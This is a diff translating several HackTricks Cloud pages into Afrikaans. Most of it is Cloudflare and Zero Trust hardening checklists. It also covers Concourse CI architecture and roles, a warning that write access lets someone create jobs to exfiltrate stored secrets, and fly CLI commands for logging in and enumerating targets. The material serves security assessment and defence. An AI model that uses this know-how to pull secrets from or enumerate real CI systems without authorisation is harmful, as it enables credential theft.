- [ ] Kyk vir **subdomeine** wat **sensitiewe inligting** kan bevat net gebaseer op die **naam** (soos admin173865324.domin.com)
|
||||
- [ ] Kyk vir webbladsye wat **nie** **geproksie** is nie
|
||||
- [ ] Kyk vir **geproksie webbladsye** wat direk deur CNAME of IP adres **toeganklik** is
|
||||
- [ ] Kyk dat **DNSSEC** **geaktiveer** is
|
||||
- [ ] Kyk dat **CNAME Flattening** in **alle CNAMEs** **gebruik** word
|
||||
- Dit kan nuttig wees om **subdomein oorneem kwesbaarhede** te **versteek** en laai tyds te verbeter
|
||||
- [ ] Kyk dat die domeine [**nie kwesbaar is vir spoofing nie**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing)
|
||||
|
||||
### **Email**
|
||||
### **E-pos**
|
||||
|
||||
TODO
|
||||
|
||||
@@ -36,82 +36,82 @@ TODO
|
||||
|
||||
### SSL/TLS
|
||||
|
||||
#### **Overview**
|
||||
#### **Oorsig**
|
||||
|
||||
- [ ] The **SSL/TLS encryption** should be **Full** or **Full (Strict)**. Any other will send **clear-text traffic** at some point.
|
||||
- [ ] The **SSL/TLS Recommender** should be enabled
|
||||
- [ ] Die **SSL/TLS enkripsie** moet **Vol** of **Vol (Streng)** wees. Enige ander sal **duidelike teks verkeer** op 'n sekere punt stuur.
|
||||
- [ ] Die **SSL/TLS Aanbeveler** moet geaktiveer wees
|
||||
|
||||
#### Edge Certificates
|
||||
#### Rand Sertifikate
|
||||
|
||||
- [ ] **Always Use HTTPS** should be **enabled**
|
||||
- [ ] **HTTP Strict Transport Security (HSTS)** should be **enabled**
|
||||
- [ ] **Minimum TLS Version should be 1.2**
|
||||
- [ ] **TLS 1.3 should be enabled**
|
||||
- [ ] **Automatic HTTPS Rewrites** should be **enabled**
|
||||
- [ ] **Certificate Transparency Monitoring** should be **enabled**
|
||||
- [ ] **Gebruik altyd HTTPS** moet **geaktiveer** wees
|
||||
- [ ] **HTTP Streng Vervoer Sekuriteit (HSTS)** moet **geaktiveer** wees
|
||||
- [ ] **Minimum TLS Weergawe moet 1.2 wees**
|
||||
- [ ] **TLS 1.3 moet geaktiveer wees**
|
||||
- [ ] **Outomatiese HTTPS Herskrywings** moet **geaktiveer** wees
|
||||
- [ ] **Sertifikaat Deursigtigheid Monitering** moet **geaktiveer** wees
|
||||
|
||||
### **Security**
|
||||
### **Veiligheid**
|
||||
|
||||
- [ ] In the **`WAF`** section it's interesting to check that **Firewall** and **rate limiting rules are used** to prevent abuses.
|
||||
- The **`Bypass`** action will **disable Cloudflare security** features for a request. It shouldn't be used.
|
||||
- [ ] In the **`Page Shield`** section it's recommended to check that it's **enabled** if any page is used
|
||||
- [ ] In the **`API Shield`** section it's recommended to check that it's **enabled** if any API is exposed in Cloudflare
|
||||
- [ ] In the **`DDoS`** section it's recommended to enable the **DDoS protections**
|
||||
- [ ] In the **`Settings`** section:
|
||||
- [ ] Check that the **`Security Level`** is **medium** or greater
|
||||
- [ ] Check that the **`Challenge Passage`** is 1 hour at max
|
||||
- [ ] Check that the **`Browser Integrity Check`** is **enabled**
|
||||
- [ ] Check that the **`Privacy Pass Support`** is **enabled**
|
||||
- [ ] In die **`WAF`** afdeling is dit interessant om te kyk dat **Firewall** en **tarief beperking reëls gebruik word** om misbruik te voorkom.
|
||||
- Die **`Bypass`** aksie sal **Cloudflare sekuriteit** funksies vir 'n versoek **deaktiveer**. Dit moet nie gebruik word nie.
|
||||
- [ ] In die **`Page Shield`** afdeling word dit aanbeveel om te kyk dat dit **geaktiveer** is as enige bladsy gebruik word
|
||||
- [ ] In die **`API Shield`** afdeling word dit aanbeveel om te kyk dat dit **geaktiveer** is as enige API in Cloudflare blootgestel word
|
||||
- [ ] In die **`DDoS`** afdeling word dit aanbeveel om die **DDoS beskermings** te aktiveer
|
||||
- [ ] In die **`Instellings`** afdeling:
|
||||
- [ ] Kyk dat die **`Veiligheidsvlak`** **medium** of groter is
|
||||
- [ ] Kyk dat die **`Uitdaging Deurgang`** 1 uur maksimum is
|
||||
- [ ] Kyk dat die **`Bladsy Integriteit Kontrole`** **geaktiveer** is
|
||||
- [ ] Kyk dat die **`Privaatheid Pas Ondersteuning`** **geaktiveer** is
|
||||
|
||||
#### **CloudFlare DDoS Protection**
|
||||
#### **CloudFlare DDoS Beskerming**
|
||||
|
||||
- If you can, enable **Bot Fight Mode** or **Super Bot Fight Mode**. If you protecting some API accessed programmatically (from a JS front end page for example). You might not be able to enable this without breaking that access.
|
||||
- In **WAF**: You can create **rate limits by URL path** or to **verified bots** (Rate limiting rules), or to **block access** based on IP, Cookie, referrer...). So you could block requests that doesn't come from a web page or has a cookie.
|
||||
- If the attack is from a **verified bot**, at least **add a rate limit** to bots.
|
||||
- If the attack is to a **specific path**, as prevention mechanism, add a **rate limit** in this path.
|
||||
- You can also **whitelist** IP addresses, IP ranges, countries or ASNs from the **Tools** in WAF.
|
||||
- Check if **Managed rules** could also help to prevent vulnerability exploitations.
|
||||
- In the **Tools** section you can **block or give a challenge to specific IPs** and **user agents.**
|
||||
- In DDoS you could **override some rules to make them more restrictive**.
|
||||
- **Settings**: Set **Security Level** to **High** and to **Under Attack** if you are Under Attack and that the **Browser Integrity Check is enabled**.
|
||||
- In Cloudflare Domains -> Analytics -> Security -> Check if **rate limit** is enabled
|
||||
- In Cloudflare Domains -> Security -> Events -> Check for **detected malicious Events**
|
||||
- As jy kan, aktiveer **Bot Strijd Modus** of **Super Bot Strijd Modus**. As jy 'n API beskerm wat programmaties toeganklik is (van 'n JS front end bladsy byvoorbeeld). Jy mag dalk nie in staat wees om dit te aktiveer sonder om daardie toegang te breek nie.
|
||||
- In **WAF**: Jy kan **tarief beperkings per URL pad** of vir **geverifieerde bots** (Tarief beperking reëls) skep, of om **toegang te blokkeer** gebaseer op IP, Koekie, verwysing...). So jy kan versoeke blokkeer wat nie van 'n webblad kom nie of 'n koekie het.
|
||||
- As die aanval van 'n **geverifieerde bot** is, voeg ten minste 'n **tarief beperking** by vir bots.
|
||||
- As die aanval op 'n **spesifieke pad** is, voeg as voorkomingsmeganisme 'n **tarief beperking** in hierdie pad by.
|
||||
- Jy kan ook **witlys** IP adresse, IP reekse, lande of ASN's van die **Gereedskap** in WAF.
|
||||
- Kyk of **Geverifieerde reëls** ook kan help om kwesbaarheidsontploffings te voorkom.
|
||||
- In die **Gereedskap** afdeling kan jy **blokkeer of 'n uitdaging gee aan spesifieke IPs** en **gebruikersagente.**
|
||||
- In DDoS kan jy **sekere reëls oorskry om hulle meer beperkend te maak**.
|
||||
- **Instellings**: Stel **Veiligheidsvlak** op **Hoog** en op **Onder Aanval** as jy Onder Aanval is en dat die **Bladsy Integriteit Kontrole geaktiveer** is.
|
||||
- In Cloudflare Domeine -> Analise -> Veiligheid -> Kyk of **tarief beperking** geaktiveer is
|
||||
- In Cloudflare Domeine -> Veiligheid -> Gebeure -> Kyk vir **gedetekteerde kwaadwillige Gebeure**
|
||||
|
||||
### Access
|
||||
### Toegang
|
||||
|
||||
{{#ref}}
|
||||
cloudflare-zero-trust-network.md
|
||||
{{#endref}}
|
||||
|
||||
### Speed
|
||||
### Spoed
|
||||
|
||||
_I couldn't find any option related to security_
|
||||
_Ek kon nie enige opsie rakende veiligheid vind nie_
|
||||
|
||||
### Caching
|
||||
|
||||
- [ ] In the **`Configuration`** section consider enabling the **CSAM Scanning Tool**
|
||||
- [ ] In die **`Konfigurasie`** afdeling oorweeg om die **CSAM Skandeer Gereedskap** te aktiveer
|
||||
|
||||
### **Workers Routes**
|
||||
|
||||
_You should have already checked_ [_cloudflare workers_](./#workers)
|
||||
_Jy moet reeds_ [_cloudflare workers_](./#workers) _gekyk het_
|
||||
|
||||
### Rules
|
||||
### Reëls
|
||||
|
||||
TODO
|
||||
|
||||
### Network
|
||||
### Netwerk
|
||||
|
||||
- [ ] If **`HTTP/2`** is **enabled**, **`HTTP/2 to Origin`** should be **enabled**
|
||||
- [ ] **`HTTP/3 (with QUIC)`** should be **enabled**
|
||||
- [ ] If the **privacy** of your **users** is important, make sure **`Onion Routing`** is **enabled**
|
||||
- [ ] As **`HTTP/2`** **geaktiveer** is, moet **`HTTP/2 na Oorsprong`** **geaktiveer** wees
|
||||
- [ ] **`HTTP/3 (met QUIC)`** moet **geaktiveer** wees
|
||||
- [ ] As die **privaatheid** van jou **gebruikers** belangrik is, maak seker **`Onion Routing`** is **geaktiveer**
|
||||
|
||||
### **Traffic**
|
||||
### **Verkeer**
|
||||
|
||||
TODO
|
||||
|
||||
### Custom Pages
|
||||
### Aangepaste Bladsye
|
||||
|
||||
- [ ] It's optional to configure custom pages when an error related to security is triggered (like a block, rate limiting or I'm under attack mode)
|
||||
- [ ] Dit is opsioneel om aangepaste bladsye te konfigureer wanneer 'n fout rakende veiligheid geaktiveer word (soos 'n blok, tarief beperking of ek is onder aanval modus)
|
||||
|
||||
### Apps
|
||||
|
||||
@@ -119,8 +119,8 @@ TODO
|
||||
|
||||
### Scrape Shield
|
||||
|
||||
- [ ] Check **Email Address Obfuscation** is **enabled**
|
||||
- [ ] Check **Server-side Excludes** is **enabled**
|
||||
- [ ] Kyk of **E-pos Adres Obfuskering** **geaktiveer** is
|
||||
- [ ] Kyk of **Bediener-kant Uitsluitings** **geaktiveer** is
|
||||
|
||||
### **Zaraz**
|
||||
|
||||
@@ -131,7 +131,3 @@ TODO
|
||||
TODO
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,43 +2,43 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
In a **Cloudflare Zero Trust Network** account there are some **settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
|
||||
In 'n **Cloudflare Zero Trust Network** rekening is daar 'n paar **instellings en dienste** wat gekonfigureer kan word. Op hierdie bladsy gaan ons die **veiligheidsverwante instellings van elke afdeling analiseer:**
|
||||
|
||||
<figure><img src="../../images/image (206).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Analytics
|
||||
|
||||
- [ ] Useful to **get to know the environment**
|
||||
- [ ] Nuttig om **die omgewing te leer ken**
|
||||
|
||||
### **Gateway**
|
||||
|
||||
- [ ] In **`Policies`** it's possible to generate policies to **restrict** by **DNS**, **network** or **HTTP** request who can access applications.
|
||||
- If used, **policies** could be created to **restrict** the access to malicious sites.
|
||||
- This is **only relevant if a gateway is being used**, if not, there is no reason to create defensive policies.
|
||||
- [ ] In **`Policies`** is dit moontlik om beleide te genereer om te **beperk** deur **DNS**, **netwerk** of **HTTP** versoek wie toegang tot toepassings kan hê.
|
||||
- As gebruik, kan **beleide** geskep word om die toegang tot kwaadwillige webwerwe te **beperk**.
|
||||
- Dit is **slegs relevant as 'n gateway gebruik word**, indien nie, is daar geen rede om defensiewe beleide te skep nie.
|
||||
|
||||
### Access
|
||||
|
||||
#### Applications
|
||||
|
||||
On each application:
|
||||
Op elke toepassing:
|
||||
|
||||
- [ ] Check **who** can access to the application in the **Policies** and check that **only** the **users** that **need access** to the application can access.
|
||||
- To allow access **`Access Groups`** are going to be used (and **additional rules** can be set also)
|
||||
- [ ] Check the **available identity providers** and make sure they **aren't too open**
|
||||
- [ ] Kontroleer **wie** toegang tot die toepassing kan hê in die **Policies** en maak seker dat **slegs** die **gebruikers** wat **toegang nodig het** tot die toepassing toegang kan hê.
|
||||
- Om toegang toe te laat, gaan **`Access Groups`** gebruik word (en **addisionele reëls** kan ook gestel word)
|
||||
- [ ] Kontroleer die **beskikbare identiteitsverskaffers** en maak seker hulle **is nie te oop nie**
|
||||
- [ ] In **`Settings`**:
|
||||
- [ ] Check **CORS isn't enabled** (if it's enabled, check it's **secure** and it isn't allowing everything)
|
||||
- [ ] Cookies should have **Strict Same-Site** attribute, **HTTP Only** and **binding cookie** should be **enabled** if the application is HTTP.
|
||||
- [ ] Consider enabling also **Browser rendering** for better **protection. More info about** [**remote browser isolation here**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.**
|
||||
- [ ] Kontroleer dat **CORS nie geaktiveer is nie** (as dit geaktiveer is, kontroleer dat dit **veilig** is en nie alles toelaat nie)
|
||||
- [ ] Koekies moet die **Streng Same-Site** attribuut hê, **HTTP Only** en **binding cookie** moet **geaktiveer** wees as die toepassing HTTP is.
|
||||
- [ ] Oorweeg om ook **Bladsy-rendering** te aktiveer vir beter **beskerming. Meer inligting oor** [**afgeleë blaaier-isolasie hier**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.**
|
||||
|
||||
#### **Access Groups**
|
||||
|
||||
- [ ] Check that the access groups generated are **correctly restricted** to the users they should allow.
|
||||
- [ ] It's specially important to check that the **default access group isn't very open** (it's **not allowing too many people**) as by **default** anyone in that **group** is going to be able to **access applications**.
|
||||
- Note that it's possible to give **access** to **EVERYONE** and other **very open policies** that aren't recommended unless 100% necessary.
|
||||
- [ ] Kontroleer dat die toegangsgroepe wat gegenereer is **korrek beperk** is tot die gebruikers wat hulle moet toelaat.
|
||||
- [ ] Dit is veral belangrik om te kontroleer dat die **standaard toegangsgroep nie te oop is nie** (dit **laat nie te veel mense toe nie**) aangesien **standaard** enige iemand in daardie **groep** toegang tot **toepassings** gaan hê.
|
||||
- Let daarop dat dit moontlik is om **toegang** aan **ELKEEN** te gee en ander **baie oop beleide** wat nie aanbeveel word nie, tensy 100% noodsaaklik.
|
||||
|
||||
#### Service Auth
|
||||
|
||||
- [ ] Check that all service tokens **expires in 1 year or less**
|
||||
- [ ] Kontroleer dat alle diens tokens **verval in 1 jaar of minder**
|
||||
|
||||
#### Tunnels
|
||||
|
||||
@@ -50,16 +50,12 @@ TODO
|
||||
|
||||
### Logs
|
||||
|
||||
- [ ] You could search for **unexpected actions** from users
|
||||
- [ ] Jy kan soek na **onverwagte aksies** van gebruikers
|
||||
|
||||
### Settings
|
||||
|
||||
- [ ] Check the **plan type**
|
||||
- [ ] It's possible to see the **credits card owner name**, **last 4 digits**, **expiration** date and **address**
|
||||
- [ ] It's recommended to **add a User Seat Expiration** to remove users that doesn't really use this service
|
||||
- [ ] Kontroleer die **plan tipe**
|
||||
- [ ] Dit is moontlik om die **kredietkaart eienaar se naam**, **laaste 4 syfers**, **verval** datum en **adres** te sien
|
||||
- [ ] Dit word aanbeveel om 'n **User Seat Expiration** toe te voeg om gebruikers te verwyder wat hierdie diens nie regtig gebruik nie
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,36 +2,32 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Basiese Inligting
|
||||
|
||||
Concourse allows you to **build pipelines** to automatically run tests, actions and build images whenever you need it (time based, when something happens...)
|
||||
Concourse laat jou toe om **pype** te bou om outomaties toetse, aksies en beelde te loop wanneer jy dit nodig het (tydgebaseerd, wanneer iets gebeur...)
|
||||
|
||||
## Concourse Architecture
|
||||
## Concourse Argitektuur
|
||||
|
||||
Learn how the concourse environment is structured in:
|
||||
Leer hoe die concourse omgewing gestruktureer is in:
|
||||
|
||||
{{#ref}}
|
||||
concourse-architecture.md
|
||||
{{#endref}}
|
||||
|
||||
## Concourse Lab
|
||||
## Concourse Laboratorium
|
||||
|
||||
Learn how you can run a concourse environment locally to do your own tests in:
|
||||
Leer hoe jy 'n concourse omgewing plaaslik kan loop om jou eie toetse te doen in:
|
||||
|
||||
{{#ref}}
|
||||
concourse-lab-creation.md
|
||||
{{#endref}}
|
||||
|
||||
## Enumerate & Attack Concourse
|
||||
## Tel & Aanval Concourse
|
||||
|
||||
Learn how you can enumerate the concourse environment and abuse it in:
|
||||
Leer hoe jy die concourse omgewing kan tel en misbruik in:
|
||||
|
||||
{{#ref}}
|
||||
concourse-enumeration-and-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,42 +1,38 @@
|
||||
# Concourse Architecture
|
||||
# Concourse-argitektuur
|
||||
|
||||
## Concourse Architecture
|
||||
## Concourse-argitektuur
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
[**Relevant data from Concourse documentation:**](https://concourse-ci.org/internals.html)
|
||||
[**Relevante data uit Concourse-dokumentasie:**](https://concourse-ci.org/internals.html)
|
||||
|
||||
### Architecture
|
||||
### Argitektuur
|
||||
|
||||
.png>)
|
||||
|
||||
#### ATC: web UI & build scheduler
|
||||
#### ATC: web UI & bou skeduler
|
||||
|
||||
The ATC is the heart of Concourse. It runs the **web UI and API** and is responsible for all pipeline **scheduling**. It **connects to PostgreSQL**, which it uses to store pipeline data (including build logs).
|
||||
Die ATC is die hart van Concourse. Dit bestuur die **web UI en API** en is verantwoordelik vir alle pyplyn **skedulering**. Dit **verbind met PostgreSQL**, wat dit gebruik om pyplyn data (insluitend bou logs) te stoor.
|
||||
|
||||
The [checker](https://concourse-ci.org/checker.html)'s responsibility is to continuously checks for new versions of resources. The [scheduler](https://concourse-ci.org/scheduler.html) is responsible for scheduling builds for a job and the [build tracker](https://concourse-ci.org/build-tracker.html) is responsible for running any scheduled builds. The [garbage collector](https://concourse-ci.org/garbage-collector.html) is the cleanup mechanism for removing any unused or outdated objects, such as containers and volumes.
|
||||
Die [checker](https://concourse-ci.org/checker.html)'s verantwoordelikheid is om voortdurend na nuwe weergawes van hulpbronne te kyk. Die [scheduler](https://concourse-ci.org/scheduler.html) is verantwoordelik vir die skedulering van boue vir 'n werk en die [build tracker](https://concourse-ci.org/build-tracker.html) is verantwoordelik vir die uitvoering van enige geskeduleerde boue. Die [garbage collector](https://concourse-ci.org/garbage-collector.html) is die opruimingsmeganisme vir die verwydering van enige onbenutte of verouderde voorwerpe, soos houers en volumes.
|
||||
|
||||
#### TSA: worker registration & forwarding
|
||||
#### TSA: werker registrasie & forwarding
|
||||
|
||||
The TSA is a **custom-built SSH server** that is used solely for securely **registering** [**workers**](https://concourse-ci.org/internals.html#architecture-worker) with the [ATC](https://concourse-ci.org/internals.html#component-atc).
|
||||
Die TSA is 'n **aangepaste SSH-bediener** wat slegs gebruik word vir die veilige **registrasie** van [**werkers**](https://concourse-ci.org/internals.html#architecture-worker) met die [ATC](https://concourse-ci.org/internals.html#component-atc).
|
||||
|
||||
The TSA by **default listens on port `2222`**, and is usually colocated with the [ATC](https://concourse-ci.org/internals.html#component-atc) and sitting behind a load balancer.
|
||||
Die TSA luister **standaard op poort `2222`**, en is gewoonlik saam met die [ATC](https://concourse-ci.org/internals.html#component-atc) en sit agter 'n laaibalans.
|
||||
|
||||
The **TSA implements CLI over the SSH connection,** supporting [**these commands**](https://concourse-ci.org/internals.html#component-tsa).
|
||||
Die **TSA implementeer CLI oor die SSH-verbinding,** wat [**hierdie opdragte**](https://concourse-ci.org/internals.html#component-tsa) ondersteun.
|
||||
|
||||
#### Workers
|
||||
#### Werkers
|
||||
|
||||
In order to execute tasks concourse must have some workers. These workers **register themselves** via the [TSA](https://concourse-ci.org/internals.html#component-tsa) and run the services [**Garden**](https://github.com/cloudfoundry-incubator/garden) and [**Baggageclaim**](https://github.com/concourse/baggageclaim).
|
||||
Om take uit te voer, moet Concourse 'n paar werkers hê. Hierdie werkers **registreer hulleself** via die [TSA](https://concourse-ci.org/internals.html#component-tsa) en bestuur die dienste [**Garden**](https://github.com/cloudfoundry-incubator/garden) en [**Baggageclaim**](https://github.com/concourse/baggageclaim).
|
||||
|
||||
- **Garden**: This is the **Container Manage AP**I, usually run in **port 7777** via **HTTP**.
|
||||
- **Baggageclaim**: This is the **Volume Management API**, usually run in **port 7788** via **HTTP**.
|
||||
- **Garden**: Dit is die **Container Manage API**, gewoonlik bedryf in **poort 7777** via **HTTP**.
|
||||
- **Baggageclaim**: Dit is die **Volume Management API**, gewoonlik bedryf in **poort 7788** via **HTTP**.
|
||||
|
||||
## References
|
||||
## Verwysings
|
||||
|
||||
- [https://concourse-ci.org/internals.html](https://concourse-ci.org/internals.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -6,213 +6,202 @@
|
||||
|
||||
### User Roles & Permissions
|
||||
|
||||
Concourse comes with five roles:
|
||||
Concourse kom met vyf rolle:
|
||||
|
||||
- _Concourse_ **Admin**: This role is only given to owners of the **main team** (default initial concourse team). Admins can **configure other teams** (e.g.: `fly set-team`, `fly destroy-team`...). The permissions of this role cannot be affected by RBAC.
|
||||
- **owner**: Team owners can **modify everything within the team**.
|
||||
- **member**: Team members can **read and write** within the **teams assets** but cannot modify the team settings.
|
||||
- **pipeline-operator**: Pipeline operators can perform **pipeline operations** such as triggering builds and pinning resources, however they cannot update pipeline configurations.
|
||||
- **viewer**: Team viewers have **"read-only" access to a team** and its pipelines.
|
||||
- _Concourse_ **Admin**: Hierdie rol word slegs aan eienaars van die **hoofspan** (standaard aanvanklike concourse-span) gegee. Admins kan **ander spanne konfigureer** (bv.: `fly set-team`, `fly destroy-team`...). Die toestemmings van hierdie rol kan nie deur RBAC beïnvloed word nie.
|
||||
- **eienaar**: Span eienaars kan **alles binne die span wysig**.
|
||||
- **lid**: Span lede kan **lees en skryf** binne die **span se bates** maar kan nie die spaninstellings wysig nie.
|
||||
- **pipeline-operator**: Pipeline operators kan **pipeline operasies** uitvoer soos om boue te aktiveer en hulpbronne vas te pen, maar hulle kan nie pipeline konfigurasies opdateer nie.
|
||||
- **kyker**: Span kykers het **"lees-slegs" toegang tot 'n span** en sy pipelines.
|
||||
|
||||
> [!NOTE]
|
||||
> Moreover, the **permissions of the roles owner, member, pipeline-operator and viewer can be modified** configuring RBAC (configuring more specifically it's actions). Read more about it in: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
|
||||
> Boonop kan die **toestemmings van die rolle eienaar, lid, pipeline-operator en kyker gewysig word** deur RBAC te konfigureer (meer spesifiek, sy aksies). Lees meer daaroor in: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
|
||||
|
||||
Note that Concourse **groups pipelines inside Teams**. Therefore users belonging to a Team will be able to manage those pipelines and **several Teams** might exist. A user can belong to several Teams and have different permissions inside each of them.
|
||||
Let daarop dat Concourse **pipeliner binne Spanne groepeer**. Daarom sal gebruikers wat aan 'n Span behoort, in staat wees om daardie pipelines te bestuur en **verskeie Spanne** mag bestaan. 'n Gebruiker kan aan verskeie Spanne behoort en verskillende toestemmings binne elkeen hê.
|
||||
|
||||
### Vars & Credential Manager
|
||||
|
||||
In the YAML configs you can configure values using the syntax `((_source-name_:_secret-path_._secret-field_))`.\
|
||||
[From the docs:](https://concourse-ci.org/vars.html#var-syntax) The **source-name is optional**, and if omitted, the [cluster-wide credential manager](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) will be used, or the value may be provided [statically](https://concourse-ci.org/vars.html#static-vars).\
|
||||
The **optional \_secret-field**\_ specifies a field on the fetched secret to read. If omitted, the credential manager may choose to read a 'default field' from the fetched credential if the field exists.\
|
||||
Moreover, the _**secret-path**_ and _**secret-field**_ may be surrounded by double quotes `"..."` if they **contain special characters** like `.` and `:`. For instance, `((source:"my.secret"."field:1"))` will set the _secret-path_ to `my.secret` and the _secret-field_ to `field:1`.
|
||||
In die YAML konfigurasies kan jy waardes konfigureer met die sintaksis `((_source-name_:_secret-path_._secret-field_))`.\
|
||||
[Van die dokumentasie:](https://concourse-ci.org/vars.html#var-syntax) Die **source-name is opsioneel**, en as dit weggelaat word, sal die [cluster-wide credential manager](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) gebruik word, of die waarde kan [staties](https://concourse-ci.org/vars.html#static-vars) verskaf word.\
|
||||
Die **opsionele \_secret-field**\_ spesifiseer 'n veld op die verkregen geheim om te lees. As dit weggelaat word, kan die credential manager kies om 'n 'standaard veld' van die verkregen credential te lees as die veld bestaan.\
|
||||
Boonop kan die _**secret-path**_ en _**secret-field**_ omring word deur dubbele aanhalings `"..."` as hulle **spesiale karakters** soos `.` en `:` bevat. Byvoorbeeld, `((source:"my.secret"."field:1"))` sal die _secret-path_ op `my.secret` stel en die _secret-field_ op `field:1`.
|
||||
|
||||
#### Static Vars
|
||||
|
||||
Static vars can be specified in **tasks steps**:
|
||||
|
||||
Statische vars kan in **take stappe** gespesifiseer word:
|
||||
```yaml
|
||||
- task: unit-1.13
|
||||
file: booklit/ci/unit.yml
|
||||
vars: { tag: 1.13 }
|
||||
file: booklit/ci/unit.yml
|
||||
vars: { tag: 1.13 }
|
||||
```
|
||||
Or gebruik die volgende `fly` **argumente**:
|
||||
|
||||
Or using the following `fly` **arguments**:
|
||||
- `-v` of `--var` `NAME=VALUE` stel die string `VALUE` as die waarde vir die var `NAME` in.
|
||||
- `-y` of `--yaml-var` `NAME=VALUE` ontleed `VALUE` as YAML en stel dit as die waarde vir die var `NAME` in.
|
||||
- `-i` of `--instance-var` `NAME=VALUE` ontleed `VALUE` as YAML en stel dit as die waarde vir die instance var `NAME` in. Sien [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) om meer te leer oor instance vars.
|
||||
- `-l` of `--load-vars-from` `FILE` laai `FILE`, 'n YAML-dokument wat var name aan waardes koppel, en stel dit alles in.
|
||||
|
||||
- `-v` or `--var` `NAME=VALUE` sets the string `VALUE` as the value for the var `NAME`.
|
||||
- `-y` or `--yaml-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the var `NAME`.
|
||||
- `-i` or `--instance-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the instance var `NAME`. See [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) to learn more about instance vars.
|
||||
- `-l` or `--load-vars-from` `FILE` loads `FILE`, a YAML document containing mapping var names to values, and sets them all.
|
||||
#### Kredensiaalbestuur
|
||||
|
||||
#### Credential Management
|
||||
Daar is verskillende maniere waarop 'n **Kredensiaalbestuurder gespesifiseer kan word** in 'n pyplyn, lees hoe in [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
|
||||
Boonop ondersteun Concourse verskillende kredensiaalbestuurders:
|
||||
|
||||
There are different ways a **Credential Manager can be specified** in a pipeline, read how in [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
|
||||
Moreover, Concourse supports different credential managers:
|
||||
|
||||
- [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html)
|
||||
- [The CredHub credential manager](https://concourse-ci.org/credhub-credential-manager.html)
|
||||
- [The AWS SSM credential manager](https://concourse-ci.org/aws-ssm-credential-manager.html)
|
||||
- [The AWS Secrets Manager credential manager](https://concourse-ci.org/aws-asm-credential-manager.html)
|
||||
- [Kubernetes Credential Manager](https://concourse-ci.org/kubernetes-credential-manager.html)
|
||||
- [The Conjur credential manager](https://concourse-ci.org/conjur-credential-manager.html)
|
||||
- [Caching credentials](https://concourse-ci.org/creds-caching.html)
|
||||
- [Redacting credentials](https://concourse-ci.org/creds-redacting.html)
|
||||
- [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html)
|
||||
- [Die Vault kredensiaalbestuurder](https://concourse-ci.org/vault-credential-manager.html)
|
||||
- [Die CredHub kredensiaalbestuurder](https://concourse-ci.org/credhub-credential-manager.html)
|
||||
- [Die AWS SSM kredensiaalbestuurder](https://concourse-ci.org/aws-ssm-credential-manager.html)
|
||||
- [Die AWS Secrets Manager kredensiaalbestuurder](https://concourse-ci.org/aws-asm-credential-manager.html)
|
||||
- [Kubernetes Kredensiaalbestuurder](https://concourse-ci.org/kubernetes-credential-manager.html)
|
||||
- [Die Conjur kredensiaalbestuurder](https://concourse-ci.org/conjur-credential-manager.html)
|
||||
- [Kredensiale kas](https://concourse-ci.org/creds-caching.html)
|
||||
- [Kredensiale redigering](https://concourse-ci.org/creds-redacting.html)
|
||||
- [Herhaal mislukte verkrygings](https://concourse-ci.org/creds-retry-logic.html)
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that if you have some kind of **write access to Concourse** you can create jobs to **exfiltrate those secrets** as Concourse needs to be able to access them.
|
||||
> Let daarop dat as jy 'n soort **skrywe toegang tot Concourse** het, jy werksgeleenthede kan skep om **daardie geheime te onttrek** aangesien Concourse toegang tot hulle moet hê.
|
||||
|
||||
### Concourse Enumeration
|
||||
### Concourse Enumerasie
|
||||
|
||||
In order to enumerate a concourse environment you first need to **gather valid credentials** or to find an **authenticated token** probably in a `.flyrc` config file.
|
||||
Om 'n concourse omgewing te enumerateer, moet jy eers **geldige kredensiale versamel** of 'n **geverifieerde token** vind waarskynlik in 'n `.flyrc` konfigurasie lêer.
|
||||
|
||||
#### Login and Current User enum
|
||||
#### Teken in en Huidige Gebruiker enum
|
||||
|
||||
- To login you need to know the **endpoint**, the **team name** (default is `main`) and a **team the user belongs to**:
|
||||
- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
|
||||
- Get configured **targets**:
|
||||
- `fly targets`
|
||||
- Get if the configured **target connection** is still **valid**:
|
||||
- `fly -t <target> status`
|
||||
- Get **role** of the user against the indicated target:
|
||||
- `fly -t <target> userinfo`
|
||||
- Om in te teken, moet jy die **eindpunt**, die **spannaam** (standaard is `main`) en 'n **span waartoe die gebruiker behoort** weet:
|
||||
- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
|
||||
- Kry geconfigureerde **teikens**:
|
||||
- `fly targets`
|
||||
- Kry of die geconfigureerde **teikenverbinding** steeds **geldig** is:
|
||||
- `fly -t <target> status`
|
||||
- Kry die **rol** van die gebruiker teen die aangeduide teiken:
|
||||
